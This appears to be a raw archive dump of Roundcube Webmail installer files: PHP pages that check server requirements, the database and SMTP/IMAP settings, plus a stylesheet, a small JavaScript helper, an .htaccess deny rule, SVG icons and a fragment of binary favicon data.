<h3>Checking PHP extensions</h3>
<p class="hint">The following modules/extensions are <em>required</em> to run Roundcube:</p>
<?php

// get extensions location
$ext_dir = ini_get('extension_dir');

$prefix = PHP_SHLIB_SUFFIX === 'dll' ? 'php_' : '';
foreach ($required_php_exts as $name => $ext) {
    if (extension_loaded($ext)) {
        $RCI->pass($name);
    }
    else {
        $_ext = $ext_dir . '/' . $prefix . $ext . '.' . PHP_SHLIB_SUFFIX;
        $msg = @is_readable($_ext) ? 'Could be loaded. Please add in php.ini' : '';
        $RCI->fail($name, $msg, $source_urls[$name]);
    }
    echo '<br />';
}

?>

<p class="hint">The next couple of extensions are <em>optional</em> and recommended to get the best performance:</p>
<?php

foreach ($optional_php_exts as $name => $ext) {
    if (extension_loaded($ext)) {
        $RCI->pass($name);
    }
    else {
        $_ext = $ext_dir . '/' . $prefix . $ext . '.' . PHP_SHLIB_SUFFIX;
        $msg = @is_readable($_ext) ? 'Could be loaded. Please add in php.ini' : '';
        $RCI->na($name, $msg, $source_urls[$name]);
    }
    echo '<br />';
}

?>

<h3>Checking available databases</h3>
<p class="hint">Check which of the supported extensions are installed. At least one of them is required.</p>

<?php

$prefix = PHP_SHLIB_SUFFIX === 'dll' ? 'php_' : '';
foreach ($RCI->supported_dbs as $database => $ext) {
    if (extension_loaded($ext)) {
        $RCI->pass($database);
        $found_db_driver = true;
    }
    else {
        $_ext = $ext_dir . '/' . $prefix . $ext . '.' . PHP_SHLIB_SUFFIX;
        $msg = @is_readable($_ext) ? 'Could be loaded. Please add in php.ini' : '';
        $RCI->na($database, $msg, $source_urls[$ext]);
    }
    echo '<br />';
}
if (empty($found_db_driver)) {
  $RCI->failures++;
}

?>

<h3>Check for required 3rd party libs</h3>
<p class="hint">This also checks if the include path is set correctly.</p>

<?php

foreach ($required_libs as $classname => $vendor) {
    if (class_exists($classname)) {
        $RCI->pass($classname);
    }
    else {
        $RCI->fail($classname, "Failed to load class $classname from $vendor", $source_urls[$classname]);
    }
    echo "<br />";
}

foreach ($optional_libs as $classname => $vendor) {
    if (class_exists($classname)) {
        $RCI->pass($classname);
    }
    else {
        $RCI->na($classname, "Recommended to install $classname from $vendor", $source_urls[$classname]);
    }
    echo "<br />";
}

?>

<h3>Checking php.ini/.htaccess settings</h3>
<p class="hint">The following settings are <em>required</em> to run Roundcube:</p>

<?php

foreach ($ini_checks as $var => $val) {
    $status = ini_get($var);
    if ($val === '-NOTEMPTY-') {
        if (empty($status)) {
            $RCI->fail($var, "empty value detected");
        }
        else {
            $RCI->pass($var);
        }
    }
    else if (filter_var($status, FILTER_VALIDATE_BOOLEAN) == $val) {
        $RCI->pass($var);
    }
    else {
      $RCI->fail($var, "is '$status', should be '$val'");
    }
    echo '<br />';
}
?>

<p class="hint">The following settings are <em>optional</em> and recommended:</p>

<?php

foreach ($optional_checks as $var => $val) {
    $status = ini_get($var);
    if ($val === '-NOTEMPTY-') {
        if (empty($status)) {
            $RCI->optfail($var, "Could be set");
        }
        else {
            $RCI->pass($var);
        }
        echo '<br />';
        continue;
    }
    if ($val === '-VALID-') {
        if ($var == 'date.timezone') {
            try {
                $tz = new DateTimeZone($status);
                $RCI->pass($var);
            }
            catch (Exception $e) {
                $RCI->optfail($var, empty($status) ? "not set" : "invalid value detected: $status");
            }
        }
        else {
            $RCI->pass($var);
        }
    }
    else if (filter_var($status, FILTER_VALIDATE_BOOLEAN) == $val) {
        $RCI->pass($var);
    }
    else {
      $RCI->optfail($var, "is '$status', could be '$val'");
    }
    echo '<br />';
}
?>

<?php

if ($RCI->failures) {
    echo '<p class="warning">Sorry but your webserver does not meet the requirements for Roundcube!<br />
            Please install the missing modules or fix the php.ini settings according to the above check results.<br />
            Hint: only checks showing <span class="fail">NOT OK</span> need to be fixed.</p>';
}
echo '<p><br /><input type="submit" value="NEXT" ' . ($RCI->failures ? 'disabled' : '') . ' /></p>';

?>

</form>
PKh�\vm(Z

installer/styles.cssnu�[���body {
	background: white;
	font-family: "Lucida Grande", Verdana, Arial, Helvetica, sans-serif;
	font-size: small;
	color: black;
	margin: 0;
}

#banner {
	position: relative;
	height: 58px;
	margin: 0 0 1em 0;
	padding: 10px 20px;
	background: url('images/banner_gradient.gif') top left repeat-x #d8edfd;
	overflow: hidden;
}

#banner .banner-bg {
	position: absolute;
	top: 0;
	right: 0;
	width: 630px;
	height: 78px;
	background: url('images/banner_schraffur.gif') top right no-repeat;
	z-index: 0;
}

#banner .banner-logo {
	position: absolute;
	top: 10px;
	left: 20px;
	z-index: 4;
}

#banner .banner-logo a {
	border: 0;
}

#topnav {
	position: absolute;
	top: 3.6em;
	right: 20px;
}

#topnav a {
	color: #666;
}

#content {
	margin: 2em 20px;
}

#footer {
  margin: 2em 20px 1em 20px;
  padding-top: 0.6em;
  font-size: smaller;
  text-align: center;
  border-top: 1px dotted #999;
}

#progress {
  margin-bottom: 2em;
  border: 1px solid #aaa;
  background-color: #f9f9f9;
}

#progress:after {
  content: ".";
  display: block;
  height: 0;
  font-size: 0;
  clear: both;
  visibility: hidden;
}

#progress li {
  float: left;
  color: #999;
  padding: 1em 5em 1em 0.2em;
}

#progress li a {
  color: #999;
  text-decoration: none;
}

#progress li a:hover {
  text-decoration: underline;
}

#progress li.current {
  color: #000;
  font-weight: bold;
}

#progress li.passed,
#progress li.passed a,
#progress li.current a {
  color: #333;
}

fieldset {
  margin-bottom: 1.5em;
  border: 1px solid #aaa;
  background-color: #f9f9f9;
}

fieldset p.hint {
  margin-top: 0.5em;
}

legend {
  font-size: 1.1em;
  font-weight: bold;
}

textarea.configfile {
  background-color: #f9f9f9;
  font-family: monospace;
  font-size: 9pt;
  width: 100%;
  height: 30em;
}

.propname {
  font-family: monospace;
  font-size: 9pt;
  margin-top: 1em;
  margin-bottom: 0.6em;
}

dd div {
  margin-top: 0.3em;
}

dd label {
  padding-left: 0.5em;
}

th {
  text-align: left;
}

td > label {
    min-width: 6em;
    display: inline-block;
}

ul li {
  margin: 0.3em 0 0.4em -1em;
}

ul li ul li {
  margin-bottom: 0.2em;
}

h3 {
  font-size: 1.1em;
  margin-top: 1.5em;
  margin-bottom: 0.6em;
}

h4 {
  margin-bottom: 0.2em;
}

a.blocktoggle {
  color: #666;
  text-decoration: none;
}

a.addlink {
  color: #999;
  font-size: 0.9em;
  padding: 1px 0 1px 20px;
  background: url('images/add.png') top left no-repeat;
  text-decoration: none;
}

a.removelink {
  color: #999;
  font-size: 0.9em;
  padding: 1px 0 1px 24px;
  background: url('images/delete.png') 4px 0 no-repeat;
  text-decoration: none;
}

.hint {
  color: #666;
  font-size: 0.95em;
}

.success {
  color: #006400;
  font-weight: bold !important;
}

.fail {
  color: #ff0000 !important;
  font-weight: bold !important;
}

.na {
  color: #f60;
  font-weight: bold;
}

.indent {
  padding-left: 0.8em;
}

.notice {
  padding: 1em;
  background-color: #f7fdcb;
  border: 2px solid #c2d071;
}

.suggestion {
  padding: 0.6em;
  background-color: #ebebeb;
  border: 1px solid #999;
}

p.warning,
div.warning {
  padding: 1em;
  background-color: #ef9398;
  border: 2px solid #dc5757;
}

h3.warning {
  color: #c00;
  background: url('images/error.png') top left no-repeat;
  padding-left: 24px;
}

.userconf {
  color: #00c;
  font-family: "Lucida Grande", Verdana, Arial, Helvetica, sans-serif;
}
PKh�\s�Z�m>m>installer/test.phpnu�[���<?php
/*
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

if (!class_exists('rcmail_install', false) || !isset($RCI)) {
    die("Not allowed! Please open installer/index.php instead.");
}

?>

<h3>Check config file</h3>
<?php

if ($read_config = is_readable(RCUBE_CONFIG_DIR . 'defaults.inc.php')) {
    $config = $RCI->load_config_file(RCUBE_CONFIG_DIR . 'defaults.inc.php');
    if (!empty($config)) {
        $RCI->pass('defaults.inc.php');
    }
    else {
        $RCI->fail('defaults.inc.php', 'Syntax error');
    }
}
else {
    $RCI->fail('defaults.inc.php', 'Unable to read default config file?');
}

echo '<br />';

if ($read_config = is_readable(RCUBE_CONFIG_DIR . 'config.inc.php')) {
    $config = $RCI->load_config_file(RCUBE_CONFIG_DIR . 'config.inc.php');
    if (!empty($config)) {
        $RCI->pass('config.inc.php');
    }
    else {
        $RCI->fail('config.inc.php', 'Syntax error');
    }
}
else {
    $RCI->fail('config.inc.php', 'Unable to read file. Did you create the config file?');
}

echo '<br />';

if ($RCI->configured && ($messages = $RCI->check_config())) {
    if (!empty($messages['replaced'])) {
        echo '<h3 class="warning">Replaced config options</h3>';
        echo '<p class="hint">The following config options have been replaced or renamed. ';
        echo 'Please update them accordingly in your config files.</p>';

        echo '<ul class="configwarnings">';
        foreach ($messages['replaced'] as $msg) {
            echo html::tag('li', null, html::span('propname', $msg['prop']) .
                ' was replaced by ' . html::span('propname', $msg['replacement']));
        }
        echo '</ul>';
    }

    if (!empty($messages['obsolete'])) {
        echo '<h3>Obsolete config options</h3>';
        echo '<p class="hint">You still have some obsolete or inexistent properties set. This isn\'t a problem but should be noticed.</p>';

        echo '<ul class="configwarnings">';
        foreach ($messages['obsolete'] as $msg) {
            echo html::tag('li', null, html::span('propname', $msg['prop'])
                . (!empty($msg['explain']) ? ':&nbsp;' . $msg['explain'] : ''));
        }
        echo '</ul>';
    }

    echo '<p class="suggestion">OK, lazy people can download the updated config file here: ';
    echo html::a(['href' => './?_mergeconfig=1'], 'config.inc.php') . ' &nbsp;';
    echo "</p>";

    if (!empty($messages['dependencies'])) {
        echo '<h3 class="warning">Dependency check failed</h3>';
        echo '<p class="hint">Some of your configuration settings require other options to be configured or additional PHP modules to be installed</p>';

        echo '<ul class="configwarnings">';
        foreach ($messages['dependencies'] as $msg) {
            echo html::tag('li', null, html::span('propname', $msg['prop']) . ': ' . $msg['explain']);
        }
        echo '</ul>';
    }
}

?>

<h3>Check if directories are writable</h3>
<p>Roundcube may need to write/save files into these directories</p>
<?php

$dirs[] = !empty($RCI->config['temp_dir']) ? $RCI->config['temp_dir'] : 'temp';
if ($RCI->config['log_driver'] != 'syslog') {
    $dirs[] = $RCI->config['log_dir'] ? $RCI->config['log_dir'] : 'logs';
}

foreach ($dirs as $dir) {
    $dirpath = rcube_utils::is_absolute_path($dir) ? $dir : INSTALL_PATH . $dir;
    if (is_writable(realpath($dirpath))) {
        $RCI->pass($dir);
        $pass = true;
    }
    else {
        $RCI->fail($dir, 'not writeable for the webserver');
    }
    echo '<br />';
}

if (empty($pass)) {
    echo '<p class="hint">Use <tt>chmod</tt> or <tt>chown</tt> to grant write privileges to the webserver</p>';
}

?>

<h3>Check DB config</h3>
<?php

$db_working = false;
if ($RCI->configured) {
    if (!empty($RCI->config['db_dsnw'])) {
        $DB = rcube_db::factory($RCI->config['db_dsnw'], '', false);
        $DB->set_debug((bool)$RCI->config['sql_debug']);
        $DB->db_connect('w');

        if (!($db_error_msg = $DB->is_error())) {
            $RCI->pass('DSN (write)');
            echo '<br />';
            $db_working = true;
        }
        else {
            $RCI->fail('DSN (write)', $db_error_msg);
            echo '<p class="hint">Make sure that the configured database exists and that the user has write privileges<br />';
            echo 'DSN: ' . rcube::Q($RCI->config['db_dsnw']) . '</p>';
        }
    }
    else {
        $RCI->fail('DSN (write)', 'not set');
    }
}
else {
    $RCI->fail('DSN (write)', 'Could not read config file');
}

// initialize db with schema found in /SQL/*
if ($db_working && !empty($_POST['initdb'])) {
    if (!$RCI->init_db($DB)) {
        $db_working = false;
        echo '<p class="warning">Please try to initialize the database manually as described in the INSTALL guide.
            Make sure that the configured database exists and that the user as write privileges</p>';
    }
}
else if ($db_working && !empty($_POST['updatedb'])) {
    if (!$RCI->update_db($_POST['version'])) {
        echo '<p class="warning">Database schema update failed.</p>';
    }
}

// test database
if ($db_working) {
    $db_read = $DB->query("SELECT count(*) FROM " . $DB->quote_identifier($RCI->config['db_prefix'] . 'users'));
    if ($DB->is_error()) {
        $RCI->fail('DB Schema', "Database not initialized");
        echo '<form action="index.php?_step=3" method="post">'
            . '<p><input type="submit" name="initdb" value="Initialize database" /></p>'
            . '</form>';

        $db_working = false;
    }
    else if ($err = $RCI->db_schema_check($DB, $update = !empty($_POST['updatedb']))) {
        $RCI->fail('DB Schema', "Database schema differs");
        echo '<ul style="margin:0"><li>' . join("</li>\n<li>", $err) . "</li></ul>";

        $select = $RCI->versions_select(['name' => 'version']);
        $select->add('0.9 or newer', '');

        echo '<form action="index.php?_step=3" method="post">'
            . '<p class="suggestion">You should run the update queries to get the schema fixed.'
            . '<br/><br/>Version to update from: ' . $select->show('')
            . '&nbsp;<input type="submit" name="updatedb" value="Update" /></p>'
            . '</form>';

        $db_working = false;
    }
    else {
        $RCI->pass('DB Schema');
        echo '<br />';
    }
}

// more database tests
if ($db_working) {
    // Using transactions to workaround SQLite bug (#7064)
    if ($DB->db_provider == 'sqlite') {
        $DB->startTransaction();
    }

    // write test
    $insert_id = md5(uniqid());
    $db_write = $DB->query("INSERT INTO " . $DB->quote_identifier($RCI->config['db_prefix'] . 'session')
        . " (`sess_id`, `changed`, `ip`, `vars`) VALUES (?, ".$DB->now().", '127.0.0.1', 'foo')", $insert_id);

    if ($db_write) {
        $RCI->pass('DB Write');
        $DB->query("DELETE FROM " . $DB->quote_identifier($RCI->config['db_prefix'] . 'session')
            . " WHERE `sess_id` = ?", $insert_id);
    }
    else {
        $RCI->fail('DB Write', $RCI->get_error());
    }
    echo '<br />';

    // Transaction end
    if ($DB->db_provider == 'sqlite') {
        $DB->rollbackTransaction();
    }

    // check timezone settings
    $tz_db = 'SELECT ' . $DB->unixtimestamp($DB->now()) . ' AS tz_db';
    $tz_db = $DB->query($tz_db);
    $tz_db = $DB->fetch_assoc($tz_db);
    $tz_db = (int) $tz_db['tz_db'];
    $tz_local = (int) time();
    $tz_diff  = $tz_local - $tz_db;

    // sometimes db and web servers are on separate hosts, so allow a 30 minutes delta
    if (abs($tz_diff) > 1800) {
        $RCI->fail('DB Time', "Database time differs {$tz_diff}s from PHP time");
    }
    else {
        $RCI->pass('DB Time');
    }
}

?>

<h3>Test filetype detection</h3>

<?php

if ($errors = $RCI->check_mime_detection()) {
    $RCI->fail('Fileinfo/mime_content_type configuration');
    if (!empty($RCI->config['mime_magic'])) {
        echo '<p class="hint">Try setting the <tt>mime_magic</tt> config option to <tt>null</tt>.</p>';
    }
    else {
        echo '<p class="hint">Check the <a href="http://www.php.net/manual/en/function.finfo-open.php">Fileinfo functions</a> of your PHP installation.<br/>';
        echo 'The path to the magic.mime file can be set using the <tt>mime_magic</tt> config option in Roundcube.</p>';
    }
}
else {
    $RCI->pass('Fileinfo/mime_content_type configuration');
    echo "<br/>";
}


if ($errors = $RCI->check_mime_extensions()) {
    $RCI->fail('Mimetype to file extension mapping');
    echo '<p class="hint">Please set a valid path to your webserver\'s mime.types file to the <tt>mime_types</tt> config option.<br/>';
    echo 'If you can\'t find such a file, download it from <a href="http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types">svn.apache.org</a>.</p>';
}
else {
    $RCI->pass('Mimetype to file extension mapping');
    echo "<br/>";
}

$smtp_hosts = $RCI->get_hostlist('smtp_host');
if (!empty($smtp_hosts)) {
    $smtp_host_field = new html_select(['name' => '_smtp_host', 'id' => 'smtp_host']);
    $smtp_host_field->add($smtp_hosts, $smtp_hosts);
}
else {
    $smtp_host_field = new html_inputfield(['name' => '_smtp_host', 'id' => 'smtp_host']);
}

$user = $RCI->getprop('smtp_user', '(none)');
$pass = $RCI->getprop('smtp_pass', '(none)');

if ($user == '%u') {
    $user_field = new html_inputfield(['name' => '_smtp_user', 'id' => 'smtp_user']);
    $user = $user_field->show(isset($_POST['_smtp_user']) ? $_POST['_smtp_user'] : '');
}
else {
    $user = html::quote($user);
}
if ($pass == '%p') {
    $pass_field = new html_passwordfield(['name' => '_smtp_pass', 'id' => 'smtp_pass']);
    $pass = $pass_field->show();
}
else {
    $pass = html::quote($pass);
}

?>

<form action="index.php?_step=3" method="post">

<h3>Test SMTP config</h3>

<p>
<table>
<tbody>
  <tr>
    <td><label for="smtp_host">Host</label></td>
    <td><?php echo $smtp_host_field->show(isset($_POST['_smtp_host']) ? $_POST['_smtp_host'] : ''); ?></td>
  </tr>
  <tr>
    <td><label for="smtp_user">Username</label></td>
    <td><?php echo $user; ?></td>
  </tr>
  <tr>
    <td><label for="smtp_pass">Password</label></td>
    <td><?php echo $pass; ?></td>
  </tr>
</tbody>
</table>
</p>

<?php

$from_field = new html_inputfield(['name' => '_from', 'id' => 'sendmailfrom']);
$to_field   = new html_inputfield(['name' => '_to', 'id' => 'sendmailto']);

if (isset($_POST['sendmail'])) {

    echo '<p>Trying to send email...<br />';

    $smtp_host = trim($_POST['_smtp_host']);

    $from = rcube_utils::idn_to_ascii(trim($_POST['_from']));
    $to   = rcube_utils::idn_to_ascii(trim($_POST['_to']));

    if (
        preg_match('/^' . $RCI->email_pattern . '$/i', $from)
        && preg_match('/^' . $RCI->email_pattern . '$/i', $to)
    ) {
        $headers = [
            'From'    => $from,
            'To'      => $to,
            'Subject' => 'Test message from Roundcube',
        ];

        $body = 'This is a test to confirm that Roundcube can send email.';

        // send mail using configured SMTP server
        $CONFIG = $RCI->config;

        if (!empty($_POST['_smtp_user'])) {
            $CONFIG['smtp_user'] = $_POST['_smtp_user'];
        }
        if (!empty($_POST['_smtp_pass'])) {
            $CONFIG['smtp_pass'] = $_POST['_smtp_pass'];
        }

        $mail_object  = new Mail_mime();
        $send_headers = $mail_object->headers($headers);
        $head         = $mail_object->txtHeaders($send_headers);

        $SMTP = new rcube_smtp();
        $SMTP->connect($smtp_host, null, $CONFIG['smtp_user'], $CONFIG['smtp_pass']);

        $status        = $SMTP->send_mail($headers['From'], $headers['To'], $head, $body);
        $smtp_response = $SMTP->get_response();

        if ($status) {
            $RCI->pass('SMTP send');
        }
        else {
            $RCI->fail('SMTP send', join('; ', $smtp_response));
        }
    }
    else {
        $RCI->fail('SMTP send', 'Invalid sender or recipient');
    }

    echo '</p>';
}

?>

<table>
<tbody>
  <tr>
    <td><label for="sendmailfrom">Sender</label></td>
    <td><?php echo $from_field->show(isset($_POST['_from']) ? $_POST['_from'] : ''); ?></td>
  </tr>
  <tr>
    <td><label for="sendmailto">Recipient</label></td>
    <td><?php echo $to_field->show(isset($_POST['_to']) ? $_POST['_to'] : ''); ?></td>
  </tr>
</tbody>
</table>

<p><input type="submit" name="sendmail" value="Send test mail" /></p>

</form>

<form action="index.php?_step=3" method="post">

<h3>Test IMAP config</h3>

<?php

$default_hosts = $RCI->get_hostlist();
if (!empty($default_hosts)) {
    $host_field = new html_select(['name' => '_host', 'id' => 'imaphost']);
    $host_field->add($default_hosts, $default_hosts);
}
else {
    $host_field = new html_inputfield(['name' => '_host', 'id' => 'imaphost']);
}

$user_field = new html_inputfield(['name' => '_user', 'id' => 'imapuser']);
$pass_field = new html_passwordfield(['name' => '_pass', 'id' => 'imappass']);

?>

<table>
<tbody>
  <tr>
    <td><label for="imaphost">Host</label></td>
    <td><?php echo $host_field->show(isset($_POST['_host']) ? $_POST['_host'] : ''); ?></td>
  </tr>
  <tr>
    <td><label for="imapuser">Username</label></td>
    <td><?php echo $user_field->show(isset($_POST['_user']) ? $_POST['_user'] : ''); ?></td>
  </tr>
  <tr>
    <td><label for="imappass">Password</label></td>
    <td><?php echo $pass_field->show(); ?></td>
  </tr>
</tbody>
</table>

<?php

if (isset($_POST['imaptest']) && !empty($_POST['_host']) && !empty($_POST['_user'])) {

    echo '<p>Connecting to ' . rcube::Q($_POST['_host']) . '...<br />';

    $imap_host = trim($_POST['_host']);
    $imap_port = 143;
    $imap_ssl  = false;

    $a_host = parse_url($imap_host);
    if ($a_host['host']) {
        $imap_host = $a_host['host'];
        $imap_ssl  = (isset($a_host['scheme']) && in_array($a_host['scheme'], ['ssl','imaps','tls'])) ? $a_host['scheme'] : null;
        $imap_port = $a_host['port'] ?? ($imap_ssl && $imap_ssl != 'tls' ? 993 : 143);
    }

    $imap_host = rcube_utils::idn_to_ascii($imap_host);
    $imap_user = rcube_utils::idn_to_ascii($_POST['_user']);

    $imap = new rcube_imap;
    $imap->set_options([
        'auth_type'      => $RCI->getprop('imap_auth_type'),
        'debug'          => $RCI->getprop('imap_debug'),
        'socket_options' => $RCI->getprop('imap_conn_options'),
    ]);

    if ($imap->connect($imap_host, $imap_user, $_POST['_pass'], $imap_port, $imap_ssl)) {
        $RCI->pass('IMAP connect', 'SORT capability: ' . ($imap->get_capability('SORT') ? 'yes' : 'no'));
        $imap->close();
    }
    else {
        $RCI->fail('IMAP connect', $RCI->get_error());
    }
}

?>

<p><input type="submit" name="imaptest" value="Check login" /></p>

</form>

<hr />

<p class="warning">

After completing the installation and the final tests please <b>remove</b> the whole
installer folder from the document root of the webserver or make sure that
<tt>enable_installer</tt> option in <tt>config.inc.php</tt> is disabled.<br />
<br />

These files may expose sensitive configuration data like server passwords and encryption keys
to the public. Make sure you cannot access this installer from your browser.

</p>
PKh�\��Irrinstaller/client.jsnu�[���/*
 +-----------------------------------------------------------------------+
 | Roundcube installer client function                                   |
 |                                                                       |
 | This file is part of the Roundcube Webmail client                     |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

function toggleblock(id, link)
{
  var block = document.getElementById(id);

  return false;
}


function addhostfield()
{
  var container = document.getElementById('defaulthostlist');
  var row = document.createElement('div');
  var input = document.createElement('input');
  var link = document.createElement('a');

  input.name = '_imap_host[]';
  input.size = '30';
  link.href = '#';
  link.onclick = function() { removehostfield(this.parentNode); return false };
  link.className = 'removelink';
  link.innerHTML = 'remove';

  row.appendChild(input);
  row.appendChild(link);
  container.appendChild(row);
}


function removehostfield(row)
{
  var container = document.getElementById('defaulthostlist');
  container.removeChild(row);
}
PKh�\�i�B��temp/.htaccessnuȯ��# deny webserver access to this directory
<ifModule mod_authz_core.c>
    Require all denied
</ifModule>
<ifModule !mod_authz_core.c>
    Deny from all
</ifModule>
PKh�\v�%skins/elastic/images/contactgroup.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 640">
  <path d="M133.5 273.5c30.3 0 55-24.7 55-55s-24.7-55-55-55-55 24.7-55 55 24.7 55 55 55zm385 0c30.3 0 55-24.7 55-55s-24.7-55-55-55-55 24.7-55 55 24.7 55 55 55zM546 301h-55c-15.1 0-28.8 6.1-38.8 16 34.6 19 59.2 53.3 64.5 94h56.7c15.2 0 27.5-12.3 27.5-27.5V356c.1-30.3-24.6-55-54.9-55zm-220 0c53.2 0 96.2-43.1 96.2-96.2s-43.1-96.2-96.2-96.2-96.2 43.1-96.2 96.2 43 96.2 96.2 96.2zm66 27.5h-7.1c-17.9 8.6-37.7 13.8-58.9 13.8s-40.9-5.2-58.9-13.8H260c-54.7 0-99 44.3-99 99v24.8c0 22.8 18.5 41.2 41.2 41.2h247.5c22.8 0 41.2-18.5 41.2-41.2v-24.8c.1-54.7-44.2-99-98.9-99zM199.8 317c-10-9.9-23.6-16-38.8-16h-55c-30.3 0-55 24.7-55 55v27.5c0 15.2 12.3 27.5 27.5 27.5h56.6c5.4-40.7 30-75 64.7-94z" fill="#ccc"/>
</svg>
PKh�\/�%�'skins/elastic/images/microsoft-icon.svgnu�[���<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100%" height="100%" viewBox="0 0 116 116" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xml:space="preserve" style="fill-rule:evenodd;clip-rule:evenodd;stroke-linejoin:round;stroke-miterlimit:2;">
<g transform="matrix(1,0,0,1,-22.0613,-141.704)"><path d="M26.088,145.515L77.643,145.515L77.639,197.07L26.088,197.07L26.088,145.515Z" style="fill:rgb(246,83,20);"/></g>
<g transform="matrix(1,0,0,1,-22.0613,-141.704)"><path d="M82.907,145.515L134.462,145.515C134.462,162.7 134.465,179.885 134.459,197.07C117.277,197.067 100.092,197.07 82.91,197.07C82.904,179.885 82.907,162.7 82.907,145.515Z" style="fill:rgb(127,187,65);"/></g>
<g transform="matrix(1,0,0,1,-22.0613,-141.704)"><path d="M26.088,202.331C43.273,202.337 60.458,202.329 77.643,202.337C77.646,219.522 77.643,236.704 77.643,253.889L26.088,253.889L26.088,202.331Z" style="fill:rgb(0,161,241);"/></g>
<g transform="matrix(1,0,0,1,-22.0613,-141.704)"><path d="M82.91,202.337C100.092,202.331 117.277,202.334 134.462,202.334L134.462,253.889L82.907,253.889C82.91,236.704 82.904,219.519 82.91,202.337Z" style="fill:rgb(255,187,0);"/></g>
</svg>
PKh�\��{[oo#skins/elastic/images/contactpic.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
  <path d="M256 246c50.5 0 91.4-40.9 91.4-91.4S306.5 63.1 256 63.1s-91.4 40.9-91.4 91.4S205.5 246 256 246zm64 22.9h-11.9c-15.9 7.3-33.5 11.4-52.1 11.4s-36.1-4.1-52.1-11.4H192c-53 0-96 43-96 96v29.7c0 18.9 15.4 34.3 34.3 34.3h251.4c18.9 0 34.3-15.4 34.3-34.3v-29.7c0-53-43-96-96-96z" fill="#ccc"/>
</svg>
PKh�\�?�S��!skins/elastic/images/download.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 960 560">
<path fill="#d4dbde" d="M690 245c0 9.2-3.5 17.9-10.1 24.9l-175 175c-6.6 6.6-15.3 10.1-24.9 10.1-9.2 0-18.4-3.5-24.9-10.1l-175-175c-6.6-7-10.1-15.8-10.1-24.9 0-4.4.9-9.2 2.6-13.6C277.9 218.3 291 210 305 210h87.5V35c0-19.2 15.8-35 35-35h105c19.2 0 35 15.8 35 35v175H655c14 0 27.1 8.3 32.4 21.4 1.7 4.4 2.6 9.2 2.6 13.6zm0 245H270V350h-70v140c0 38.5 31.5 70 70 70h420c38.5 0 70-31.5 70-70V350h-70v140z"/>
</svg>
PKh�\1�n���&skins/elastic/images/corner-handle.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16">
  <path fill="#888" d="M6.7 16L16 6.7V5.3L5.3 16zM9.7 16L16 9.7V8.3L8.3 16zM12.7 16l3.3-3.3v-1.4L11.3 16zM15.7 16l.3-.3v-1.4L14.3 16z"/>
</svg>
PKh�\�SO��$skins/elastic/images/google-icon.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 48 48"><path fill="#4285F4" d="M45.12 24.5c0-1.56-.14-3.06-.4-4.5H24v8.51h11.84c-.51 2.75-2.06 5.08-4.39 6.64v5.52h7.11c4.16-3.83 6.56-9.47 6.56-16.17z"></path><path fill="#34A853" d="M24 46c5.94 0 10.92-1.97 14.56-5.33l-7.11-5.52c-1.97 1.32-4.49 2.1-7.45 2.1-5.73 0-10.58-3.87-12.31-9.07H4.34v5.7C7.96 41.07 15.4 46 24 46z"></path><path fill="#FBBC05" d="M11.69 28.18C11.25 26.86 11 25.45 11 24s.25-2.86.69-4.18v-5.7H4.34C2.85 17.09 2 20.45 2 24c0 3.55.85 6.91 2.34 9.88l7.35-5.7z"></path><path fill="#EA4335" d="M24 10.75c3.23 0 6.13 1.11 8.41 3.29l6.31-6.31C34.91 4.18 29.93 2 24 2 15.4 2 7.96 6.93 4.34 14.12l7.35 5.7c1.73-5.2 6.58-9.07 12.31-9.07z"></path><path fill="none" d="M2 2h44v44H2z"></path></svg>
PKh�\{�=�>B>B skins/elastic/images/favicon.iconu�[���@@ (B(@� UNA'UO?���7���4'UU@TP@�TO@�TO@���7���7���7���0��TOA^TO@�TO@�TO@�TO@���7���7���7���7�7o��USOA7TO@�TO@�TO@�TO@�TO@�TO@���7���7���7���7���7���7��9?RR@SOA�TO@�TO@�TO@�TO@�TO@�TO@�TO@���7���7���7���7���7���7���7���8���6!MMM
TP@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@�TO@���7���7���7���7���7���7���7���7���7���7���;
